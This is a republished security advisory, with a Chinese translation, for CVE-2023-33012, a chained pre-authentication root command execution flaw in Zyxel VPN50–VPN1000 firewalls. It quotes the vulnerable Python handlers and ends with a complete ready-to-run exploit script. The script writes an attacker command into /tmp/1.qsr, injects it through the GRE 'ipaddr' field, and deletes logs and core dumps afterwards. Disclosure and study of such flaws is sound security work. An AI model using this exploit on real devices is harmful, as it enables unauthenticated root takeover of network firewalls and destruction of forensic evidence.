SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

IoT 3周前 admin
15 0 0

Summary 总结

Chaining of three vulnerabilities allows unauthenticated attackers to execute arbitrary command with root privileges on Zyxel VPN firewall (VPN50, VPN100, VPN300, VPN500, VPN1000). Due to recent attack surface changes in Zyxel, the chain described below broke and become unusable – we have decided to disclose this even though it is no longer exploitable.
三个漏洞的链接允许未经身份验证的攻击者在 Zyxel VPN 防火墙(VPN50、VPN100、VPN300、VPN500 VPN1000)上以 root 权限执行任意命令。由于 Zyxel 最近的攻击面变化,下面描述的链断裂并变得无法使用——我们决定披露这一点,即使它不再可利用。

Credit 信用

An independent security researcher, delsploit, working with SSD Secure Disclosure.
独立安全研究员 delsploit,与 SSD Secure Disclosure 合作。

CVE

CVE-2023-33012

Affected Versions 受影响的版本

The affected models are VPN50, VPN100, VPN300, VPN500, and VPN1000. The affected firmware version is 5.21 thru to 5.36.
受影响的型号为 VPN50、VPN100、VPN300、VPN500 和 VPN1000。受影响的固件版本为 5.21 至 5.36。

Technical Analysis 技术分析

By examining the httpd.conf you can notice a few paths that require no authentication:
通过检查 , httpd.conf 您可以注意到一些不需要身份验证的路径:

...
LoadModule auth_zyxel_module    modules/mod_auth_zyxel.so
...
AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan_intro.html /sdwan_intro_video.html /videos/ /webauth_error.cgi /webauth_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch_ap_info.cgi /agree.cgi /walled_garden.cgi /payment_transaction.cgi /paypal_pdt.cgi /redirect_pdt.cgi /securepay.cgi /authorize_dot_net.cgi /payment_failed.cgi /customize/ /multi-portal/ /free_time.cgi /free_time_redirect.cgi /free_time_transaction.cgi /free_time_failed.cgi /js/ /terms_of_service.html /dynamic_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld_product_spec.js /cf_hdf_blockpage.cgi 
/2FA-access.cgi 
/webauth_ga.cgi 
/fbwifi_error.cgi /fbwifi/ 
/ztp/cgi-bin/ztp_reg.py /ztp/cgi-bin/checkdata.py /ztp/cgi-bin/parse_config.py /ztp/cgi-bin/checkconn.py /ztp/cgi-bin/ztppolling.py /ztp/cgi-bin/activate.py /ztp/cgi-bin/conn_fail_checking.py /ztp/cgi-bin/changeLEDst.py /ztp/cgi-bin/postcertificate.py /ztp/cgi-bin/serverinit.py /ztp/cgi-bin/twoFApincode.py /ztp/cgi-bin/twoFApolling.py /ztp/cgi-bin/vpn_certificate.py /ztp/cgi-bin/ztp_bg.py /ztp/cgi-bin/dumpztplog.py /ztp/activation_success.html /ztp/activation_fail.html /ztp/activationfail.html /ztp/apply_fail.html /ztp/twoFAapps.html /ztp/twoFAsms.html /ztp/verification_fail.html /ztp/zld_enabled.html /ztp/ztp_enabled.html /ztp/ztp_reg.html /ztp/css /ztp/images /ztp/fonts 
...

As can be seen /ztp/cgi-bin/parse_config.py is one of accessible paths, this file is where the a flaw resides in.
可以看出, /ztp/cgi-bin/parse_config.py 这是可访问的路径之一,此文件是缺陷所在的位置。

Let’s look into its code. The conf_str is user provided, decoded by base64 and stored into the decoded_config variable.
让我们看看它的代码。是 conf_str 用户提供的,由 base64 解码并存储到变量中 decoded_config 。

The content is then written into ztpconf.conf.
然后将内容写入 ztpconf.conf .

Which means that unauthenticated users can overwrite the ztp product configuration.
这意味着未经身份验证的用户可以覆盖 ztp 产品配置。

def main():
    form = cgi.FieldStorage()
    conf_str = form.getvalue("config")
    #### skip ####
    if conf_str is None:
        conf_str = ""
    else:
        #### skip ####
        if not os.path.exists(ztpinclude.SERVER_SOCK_FILE):
            logging.error(
                "Cannot find sdwan_interface socket [%s]!" % ztpinclude.SERVER_SOCK_FILE
            )
            print("ParseError: 0xC0DE0005")
        else:
            conf_str = urllib.unquote(conf_str)
            try:
                decoded_config = base64.b64decode(conf_str)
            except:
                logging.error("invalid base64 str %s" % conf_str)
                print("ParseError: 0xC0DE0004")
                return
            #### skip ####
            try:
                fout = open(ztpinclude.ZTPFILEPATH + "ztpconf.conf", "w+")
                if fout is not None:
                    fout.write(decoded_config)
                    ok = True
                    fout.close()
            except Exception as e:
                logging.debug("e=%s" % e)
                print("ParseError: 0xC0DE0002")
                return
            #### skip ####
            if ok:
                ztp_soc.ztp_led_start()
                (parse_result, ou, org, cn) = network_parse.parse_result(
                    ztpinclude.ZTPFILEPATH + "ztpconf.conf"
                )
                if parse_result == ztpinclude.APPLYSUCC:
                    csrmgr.new_csrcfg(ou, org, cn)
                    print(
                        "ou=%s,org=%s,cn=%s"
                        % (urllib.quote(ou), urllib.quote(org), urllib.quote(cn))
                    )
                else:
                    print("ParseError")
            else:
                print("ParseError: 0xC0DE0006")

However this alone is useless to execute arbitrary commands. Additional bugs were required to gain RCE.
但是,仅此一项对于执行任意命令是无用的。需要额外的错误才能获得 RCE。

When running commands in the product, the functions use execve function to avoid injection in most of the code.
在产品中运行命令时,函数使用 execve 函数来避免在大多数代码中注入。

A vulnerability can however be triggered when sdwan_interface and sdwan_iface_ipc are doing Inter-Process Communication.
但是,在进行进程间通信时 sdwan_interface sdwan_iface_ipc 可能会触发漏洞。

Let’s see it at the code level. You can see something is written in v31 buffer:
让我们在代码级别看一下。你可以看到一些东西写在缓冲区里 v31 :

SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

After setting the buffer, it is sent to sdwan_interface by pic_sdwan_send_config.
设置缓冲区后,它被 sdwan_interface 发送到 pic_sdwan_send_config 。

SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

Pay attention to v31.offset_584 copied to argument[3]. It’s the only injection point because other arguments are filtered or formatted by some rules, like ip format and number type.
注意 v31.offset_584 复制到 argument[3] 。这是唯一的注入点,因为其他参数被某些规则(如 ip format 和 number type)过滤或格式化。

SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

sdwan_interface will then run the injected command after receiving payload. (v75->offset_584 is equal to v31.offset_584.)
sdwan_interface 然后,将在收到有效负载后运行注入的命令。( v75->offset_584 等于 v31.offset_584 。

Now let’s take a look at how we can trigger the IPC.
现在让我们来看看如何触发 IPC。

parse_result is called in main of parse_config.py. And you can see handle_gre is called:
parse_result 被调用 main 。 parse_config.py 你可以看到 handle_gre 叫做:

def parse_result(filepath):
  #### skip ####
  if os.path.isfile(filepath):
    parser = Parser()
    config = parser.parse(filepath)
    if check_model_id(config) != 0:
      logging.info("Check model id with config fail!!")
      return (ztpinclude.MODELIDERR, parm_ou, parm_o, parm_cn) 
    save_config_data(config)
    with open(ztpinclude.ZTPFILEPATH + 'parsed_config', 'w+') as fout:
      for configlist in config:
        try:
          if configlist['proto'] == "cellular":
            #### skip ####
          elif configlist['proto'] == "static":
            #### skip ####
          elif configlist['proto'] == "pppoe":
            #### skip ####
          elif configlist['proto'] == "deviceha":
            #### skip ####
          elif configlist['proto'] == "certificate":
            #### skip ####
          elif configlist['proto'] == "vti":
            if not handle_vti(configlist, vti_cnt):
                break
            vti_cnt += 1
          elif configlist['proto'] == "gre":
            if not handle_gre(configlist, gre_cnt):
                break
            gre_cnt += 1
        except Exception as e:
            #### skip ####
      return (applyresult, parm_ou, parm_o, parm_cn) 
  else:
      #### skip ####

handle_gre runs a process named sdwan_iface_ipc. And the arguments can be controlled by users. It runs the process, like executing command sdwan_iface_ipc 8 inp0 inp1 inp2 inp3 …:
handle_gre 运行名为 sdwan_iface_ipc 的进程。参数可以由用户控制。它运行该过程,就像执行命令 sdwan_iface_ipc 8 inp0 inp1 inp2 inp3 … 一样:

def handle_gre(configlist, idx):
    ok = False
    logging.info("setting up gre interface")
    logging.info("; ".join(["=".join(_) for _ in configlist.items()]))
    # it's time to create gre interface
    # sdwan_iface_ipc 8   gre1  192.168.100.1 24  192.168.100.2 if:eth0         61.220.240.159  key 190815111 nhrp  nhrppsk ciscozyxel  nhs 192.168.100.2
    # sdwan_iface_ipc 8   gre1  192.168.100.1 24  192.168.100.2 61.220.240.160  61.220.240.159  key 190815111 nhrp  nhrppsk ciscozyxel  nhs 192.168.100.2
    params = [
        "/usr/sbin/sdwan_iface_ipc",
        "8",
        configlist["name"],
        configlist["ipaddr"],
        configlist["netmask"],
    ]
    if "gateway" in configlist:
        params.append(configlist["gateway"])
    else:
        params.append("-")
    if "base" in configlist:
        params.append("if:%s" % configlist["base"])
    elif "localip" in configlist:
        params.append(configlist["localip"])
    else:
        logging.info("Apply fail: neither base or localip is specificied")
        return False
    params.append(configlist["remoteip"])
    if "key" in configlist:
        params.append("key")
        params.append(configlist["key"])
    if "nhrp" in configlist and configlist["nhrp"] != "0":
        params.append("nhrp")
        if "nhrpsecret" in configlist:
            params.append("nhrppsk")
            params.append(configlist["nhrpsecret"])
        if "nhs" in configlist:
            params.append("nhs")
            params.append(configlist["nhs"])
    response = subprocess.call(params)
    if response != (256 >> 8):
        logging.info("Apply fail: %d %s" % (response, " ".join(params)))
        applyresult = ztpinclude.APPLYFAIL
        ok = False
    else:
        ok = True
    return ok

At this point, we can perform the command injection. There’s good news and bad news. The good news is that sdwan_interface is running with root privileges, while httpd is running with nobody privileges. It means we don’t need additional LPE exploit.
此时,我们可以执行命令注入。有好消息也有坏消息。好消息是, sdwan_interface 它以 root 权限运行,而 httpd nobody 权限运行。这意味着我们不需要额外的 LPE 漏洞利用。

UID        PID  PPID  C STIME TTY          TIME CMD
...
nobody   10391 10116  0 Sep12 ?        00:00:00 /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
...
root     10682     1  0 Sep12 ?        00:00:15 /usr/sbin/sdwan_interface
...
nobody   14175 14152  0 03:19 ?        00:00:00 /usr/sbin/sdwan_iface_ipc 
...

The bad news is there’s a length limit, because only 0x14 bytes of argument[3] are copied. It means that we can enter only 0x14 bytes command including command separators.
坏消息是有长度限制的,因为只有 0x14 个字节 argument[3] 被复制。这意味着我们只能输入 0x14 字节的命令,包括命令分隔符。

But using a third vulnerability we can overcome this.
但是使用第三个漏洞,我们可以克服这一点。

There’re two vulnerability in handle_vti. One allows us to traverse arbitrary path with ‘.qsr’ postfix, and the other one allows us to write arbitrary contents in the file. Our focus is on the second one, because if it can write the shell command in a file and execute it, freeing us from the length limit.
中 handle_vti 有两个漏洞。一个允许我们遍历带有“.qsr”后缀的任意路径,另一个允许我们在文件中写入任意内容。我们的重点是第二个,因为如果它可以在文件中写入 shell 命令并执行它,那么我们就可以摆脱长度限制。

def handle_vti(configlist, idx):
    ok = False
    qsrname = "/tmp/%s.qsr" % configlist["name"]
    logging.info("setting up vti interface")
    logging.info("; ".join(["=".join(_) for _ in configlist.items()]))
    out = open(qsrname, "w+")
    if out:
        for k in configlist:
            out.write("%s %sn" % (k, configlist[k]))
        out.flush()
        out.close()
    else:
        return False
    # it's time to create vti interface
    # sdwan_iface_ipc 7   vti0  192.168.100.1 24  192.168.100.2 qsr /tmp/qsr0.txt
    params = [
        "/usr/sbin/sdwan_iface_ipc",
        "7",
        configlist["name"],
        configlist["ipaddr"],
        configlist["netmask"],
    ]
    if "gateway" in configlist:
        params.append(configlist["gateway"])
    else:
        params.append("-")
    params.append("qsr")
    params.append(qsrname)
    response = subprocess.call(params)
    if response != (256 >> 8):
        logging.info("Apply fail : %d %s" % (response, "".join(params)))
        applyresult = ztpinclude.APPLYFAIL
        ok = False
    else:
        f = open("/tmp/ignore-nccubs-vpn-reset", "a")
        if f is not None:
            f.write("%s," % configlist["name"])
            f.close()
        ok = True
    return ok

Finally, we can chain the three vulnerabilities together and obtain root preauth RCE:
最后,我们可以将这三个漏洞链接在一起,并获得 root preauth RCE:

The chaining scenario: 链接方案:

    1. Write arbitrary command in /tmp/1.qsr abusing QSR file write
      在滥用 QSR 文件写入时 /tmp/1.qsr 写入任意命令

    1. Run . /tmp/1.qsr ZTP configuration overwrite and command injection
      跑。 /tmp/1.qsr ZTP 配置覆盖和命令注入

    1. Boom 繁荣

Demo 演示

SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

Proof of Concept 概念验证

#!/usr/bin/python3
import argparse
import base64
import random
import requests
# ignore ssl certification
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
DEBUG = False  # True
class Exploit:
    def __init__(self, args, https=True):
        self.args = args
        self.host = args.host
        self.command = args.command
        self.session = requests.Session()
        self.session.verify = False
        self.root = f"http://{self.host}:{self.args.port}/"
        if https:
            self.root = f"https://{self.host}:{self.args.port}/"
    def req_post(self, path, data={}, files={}):
        url = f"{self.root}{path}"
        result = self.session.post(url, data=data, files=files)
        if DEBUG:
            print(f"[*] req: {url}")
            print(data)
            print(result.text)
        return result
    def req_get(self, path, params={}):
        url = f"{self.root}{path}"
        result = self.session.get(url, params=params)
        if DEBUG:
            print(f"[*] req: {url}")
            print(params)
            print(result.text)
        return result
    def fingerprint(self):
        print("[+] fingerprint")
        version = ""
        title = ""
        # version_string = "/ext-js/app/common/zld_product_spec.js"
        r = self.req_get("/ext-js/app/common/zld_product_spec.js")
        if "ZLDSYSPARM_PRODUCT_NAME1=" in r.text:
            title = r.text.split('ZLDSYSPARM_PRODUCT_NAME1="')[1].split('"')[0]
        if "ZLDCONFIG_CLOUD_HELP_VERSION=" in r.text:
            version = r.text.split("ZLDCONFIG_CLOUD_HELP_VERSION=")[1].split(";")[0]
        print(f"    title   = {title}")
        print(f"    version = {version}")
        return (title, version)
    def fingerprint2(self):
        print("[+] fingerprint")
        version = ""
        title = ""
        version_string = "/ext-js/app/common/zld_product_spec.js"
        r = self.req_get("/")
        if version_string in r.text:
            version = r.text.split(version_string)[1].split('"')[0]
        if "<title>" in r.text:
            title = r.text.split("<title>")[1].split("</title>")[0]
        print(f"    title   = {title}")
        print(f"    version = {version}")
        return (title, version)
    def run(self):
        command = args.command
        if type(command) == str:
            command = command.encode()
        command += (
            b" 2>/var/log/ztplog 1>/var/log/ztplogn"
            b"((sleep 10 && /bin/rm -rf /tmp/1.qsr /share/ztp/* "
            b"/var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &)n"
        )
        command = base64.b64encode(command)
        command = b"echo " + command + b" | base64 -d > /tmp/1.qsr ; . /tmp/1.qsr"
        title, version = self.fingerprint()
        if not title.startswith("VPN") or version == "" or float(version) < 5.10:
            print("[-] invulnerable target")
            return
        if "ZTP is already enabled." in title:
            print("[!] ZTP is already enabled")
            print("    ZTP configuration will be clear if you continue")
            yes = input('    ENTER "YES" if you want continue: ').strip()
            if yes != "YES":
                return
        print("[+] payload transfer")
        payload = b"option proto vtin"
        payload += b"option " + command + b";exitn"
        payload += b"option name 1n"
        config = base64.b64encode(payload)
        data = {"config": config, "fqdn": "x00"}
        r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data)
        if "ParseError: 0xC0DE0005" in r.text:
            print("[-] invulnerable")
            return
        print("    complete")
        print("[+] code execution")
        localip = (
            f"{random.randint(1,255)}.{random.randint(1,255)}."
            f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
        )
        remoteip = (
            f"{random.randint(1,255)}.{random.randint(1,255)}."
            f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
        )
        payload = b"option proto gren"
        payload += b"option name 0n"
        payload += b"option ipaddr ;. /tmp/1.qsr;n"
        payload += b"option netmask 24n"
        payload += b"option gateway 0n"
        payload += b"option localip " + localip + b"n"
        payload += b"option remoteip " + remoteip + b"n"
        config = base64.b64encode(payload)
        data = {"config": config, "fqdn": "x00"}
        r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data)
        if "ParseError: 0xC0DE0005" in r.text:
            print("[-] invulnerable")
            return
        print("    complete")
        print("[+] receive output")
        r = self.req_get("/ztp/cgi-bin/dumpztplog.py")
        print(
            r.text.split("</head>n<body>")[1]
            .split("</body>n</html>")[0]
            .replace("nn<br>", "")
            .replace("[IPC]IPC result: 1n", "")
        )
        return
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit")
    parser.add_argument("host", type=str, help="target host")
    parser.add_argument("--port", type=str, help="port", default="443")
    parser.add_argument("command", type=str, help="command")
    parser.add_argument("--no-https", dest="no_https", action="store_true")
    args = parser.parse_args()
    https = not args.no_https
    s = Exploit(args, https=https)
    s.run()

原文始发于SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION

版权声明:admin 发表于 2024年4月29日 下午5:03。
转载请注明:SSD ADVISORY – ZYXEL VPN SERIES PRE-AUTH REMOTE COMMAND EXECUTION | CTF导航

相关文章